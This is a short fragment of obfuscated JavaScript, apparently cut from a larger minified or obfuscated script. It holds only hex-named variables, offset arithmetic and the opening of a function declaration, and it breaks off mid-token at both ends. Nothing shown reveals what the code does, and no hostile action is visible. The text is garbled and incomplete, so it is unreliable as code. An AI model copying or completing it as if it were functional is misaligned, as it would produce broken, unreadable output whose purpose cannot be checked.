-_0x787337._0x3b6556,_0x550133,_0x327699-_0x787337._0x5117b3,_0x398234-0x1b8);}function _0x2f2c88(_0x2f699f,_0x3ddd6f,_0x9